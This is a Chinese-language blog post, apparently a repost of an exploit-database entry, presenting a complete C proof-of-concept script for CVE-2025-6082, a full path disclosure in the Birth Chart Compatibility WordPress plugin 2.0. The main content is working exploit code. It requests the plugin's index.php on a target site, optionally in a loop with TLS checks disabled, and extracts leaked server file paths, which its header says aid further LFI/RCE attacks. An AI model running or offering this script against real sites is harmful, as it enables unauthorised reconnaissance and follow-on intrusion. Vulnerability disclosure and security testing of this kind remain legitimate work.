WordPress插件完整路径泄露漏洞分析与利用脚本详解

本文详细分析了Birth Chart Compatibility WordPress插件2.0版本存在的完整路径泄露漏洞CVE-2025-6082,并提供了包含C语言利用脚本的技术细节、漏洞原理和攻击向量。

Birth Chart Compatibility WordPress插件2.0完整路径泄露漏洞

发布日期:2025.12.28 提交者:Byte Reaper 风险等级:低 本地利用:否 远程利用:是 CVE编号:CVE-2025-6082 CWE分类:N/A

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
/*
 * 漏洞标题:Birth Chart Compatibility WordPress插件2.0 - 完整路径泄露
 * 作者:Byte Reaper
 * Telegram:@ByteReaper0
 * CVE编号CVE-2025-6082
 * 软件链接:https://frp.wordpress.org/plugins/birth-chart-compatibility/
 * 漏洞描述:此概念验证利用"Birth Chart Compatibility" WordPress插件(版本<=2.0)的完整路径泄露漏洞。它向插件的index.php端点发送HTTP GET请求
 *           捕获返回的PHP警告或致命错误,并解析服务器的文件系统路径(如"/var/www/html/wp-content/plugins/…""C:\\xampp\\htdocs\\…")。
 *           泄露此路径有助于攻击者进行进一步的LFI/RCE或侦察攻击
 */

#include<stdio.h>
#include"argparse.h"
#include<string.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <unistd.h>
#define FULL 2300
const char *url = NULL;
const char *cookies=NULL;
int selecetCookie = 0;
int verbose = 0;

void exitSyscall()
{
    __asm__ volatile
    (
        "xor %%rdi, %%rdi\n\t"
        "mov $0x3C, %%rax\n\t"
        "syscall\n\t"
        :
        :
        :"rax", "rdi"
    );
}
const char *keyFound[] =
{
    "Warning:",
    "Fatal error:",
    "/var/www/",
    "C:\\xampp\\"
};
struct Mem
{
    char *buffer;
    size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
    size_t total = size * nmemb;
    struct Mem *m = (struct Mem *)userdata;
    char *tmp = realloc(m->buffer, m->len + total + 1);
    if (tmp == NULL)
    {
        printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n");
        exitSyscall();
    }
    m->buffer = tmp;
    memcpy(&(m->buffer[m->len]), ptr, total);
    m->len += total;
    m->buffer[m->len] = '\0';
    return total;
}
void showPath(const char *targetUrl)
{
    char full[FULL];
    CURLcode curlCode;
    struct Mem response = {NULL, 0};
    CURL *curl = curl_easy_init();
    if (curl == NULL)
    {
        exitSyscall();
    }
    response.buffer = NULL;
    response.len = 0;
    if (verbose)
    {
        printf("==========================================\e[0m\n");
        printf("[+] Cleaning Response...\e[0m\n");
        printf("[+] Response Buffer : %s\e[0m\n", response.buffer);
        printf("[+] Response Len : %zu\e[0m\n", response.len);
        printf("==========================================\e[0m\n");
    }
    fflush(stdout);
    if (curl)
    {
        snprintf(full, sizeof(full), "%s/wp-content/plugins/birth-chart-compatibility/index.php", targetUrl);
        curl_easy_setopt(curl,
                         CURLOPT_URL,
                         full);
        if (selecetCookie)
        {
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEFILE,
                             cookies);
            curl_easy_setopt(curl,
                             CURLOPT_COOKIEJAR,
                             cookies);

        }
        curl_easy_setopt(curl,
                         CURLOPT_ACCEPT_ENCODING,
                         "");
        curl_easy_setopt(curl,
                         CURLOPT_FOLLOWLOCATION,
                         1L);
        sleep(1);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEFUNCTION,
                         write_cb);
        curl_easy_setopt(curl,
                         CURLOPT_WRITEDATA,
                         &response);
        curl_easy_setopt(curl,
                         CURLOPT_CONNECTTIMEOUT,
                         5L);
        curl_easy_setopt(curl,
                         CURLOPT_TIMEOUT,
                         10L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYPEER,
                         0L);
        curl_easy_setopt(curl,
                         CURLOPT_SSL_VERIFYHOST,
                         0L);
        if (verbose)
        {
            printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
            curl_easy_setopt(curl,
                             CURLOPT_VERBOSE,
                             1L);
        }

        struct curl_slist *h = NULL;
        h = curl_slist_append(h,
                              "Accept: text/html");
        h = curl_slist_append(h,
                              "Accept-Encoding: gzip");
        h = curl_slist_append(h,
                              "Accept-Language: en-US,en");
        h = curl_slist_append(h,
                              "Connection: keep-alive");
        h = curl_slist_append(h,
                              "Referer: http://example.com");
        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h);
        long httpCode = 0;
        curlCode = curl_easy_perform(curl);
        if (curlCode == CURLE_OK)
        {
            printf("---------------------------------------------------------------------------------------\n");
            printf("\e[1;36m[+] Request sent successfully\e[0m\n");
            printf("\e[1;33m[+] Input Url : %s\e[0m\n", targetUrl);
            printf("\e[1;33m[+] Full Format Url : %s\e[0m\n",full);

            curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE,
                             &httpCode);
            int numberKey = sizeof(keyFound) / sizeof(keyFound[0]);
            if (httpCode >= 200 && httpCode < 300)
            {
                printf("[+] Http Code (200 < 300) !\e[0m\n");
                printf("\e[1;32m[+] Http Code : %ld\e[0m\n", httpCode);
                printf("\e[1;35m====================================[Response]====================================\e[0m\n");
                printf("%s\n", response.buffer);
                printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                printf("\e[1;35m===================================================================================\e[0m\n\n");
                for (int k = 0; k < numberKey; k++)
                {
                    const char *found = strstr(response.buffer, keyFound[k]);
                    if (found)
                    {
                        printf("\e[1;34m[+] Keyword found: %s\e[0m\n", keyFound[k]);
                        printf("\e[1;34m[+] Context: %.100s\e[0m\n", found);
                    }
                }
            }
            else
            {
                printf("\e[1;31m[-] Http Code : %ld\e[0m\n", httpCode);
                printf("\e[1;31m[-] Please Check Your input Path !\e[0m\n");
                printf("\e[1;31m[-] Or Connection in Tragte : (%s)\e[0m\n", targetUrl);
                if (verbose)
                {
                    printf("\e[1;35m====================================[Response]====================================\n");
                    printf("%s\n", response.buffer);
                    printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len);
                    printf("\e[1;35m===================================================================================\n\n");
                }

            }

        }
        else
        {
            printf("\e[1;31m[-] The request was not sent !\e[0m\n");
            if (verbose)
            {
                printf("\e[1;31m[-] Exit Syscall ...\e[0m\n");
            }
            printf("\e[1;31m[-] Error : %s\n", curl_easy_strerror(curlCode));
            exitSyscall();
        }

    }
    if (response.buffer)
    {
        free(response.buffer);
        response.buffer = NULL;
        response.len = 0;
    }
    curl_easy_cleanup(curl);

}



int main(int argc,
         const char **argv)
{
    printf
    (
        "\e[1;91m"
        "▄▖▖▖▄▖  ▄▖▄▖▄▖▄▖  ▄▖▄▖▄▖▄▖ \n"
        "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▖▛▌▙▌▄▌ \n"
        "▙▖▚▘▙▖  ▙▖█▌▙▖▄▌  ▙▌█▌▙▌▙▖ \n"
        "\e[1;97m\t      Byte Reaper\e[0m\n"
    );
    printf("\e[1;91m---------------------------------------------------------------------------------------\e[0m\n");
    int loop = 0;
    struct argparse_option options[] =
    {
        OPT_HELP(),
        OPT_STRING('u',
                   "url",
                   &url,
                   "目标URL(基础URL)"),
        OPT_STRING('c',
                   "cookies",
                   &cookies,
                   "cookie文件"),
        OPT_BOOLEAN('v',
                    "verbose",
                    &verbose,
                    "详细模式"),
        OPT_INTEGER('f',
                    "loop",
                    &loop,
                    "循环次数(请求次数)(例如:-f 10)"),
        OPT_END(),
    };
    struct argparse argparse;
    argparse_init(&argparse,
                  options,
                  NULL,
                  0);

    argparse_parse(&argparse,
                   argc,
                   argv);
    if (!url)
    {
        printf("\e[1;31m[-] Please Enter Target Url !\e[0m\n");
        printf("\e[1;31m[-] Ex : ./exploit -u https://target.com\e[0m\n");
        exitSyscall();
    }
    if (verbose)
    {
        verbose=1;
    }
    if (cookies)
    {
        selecetCookie = 1;
    }
    if (loop)
    {
        for (int o = 0; o < loop ; o++)
        {
            showPath(url);
        }
    }
    showPath(url);
    return 0;
}
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计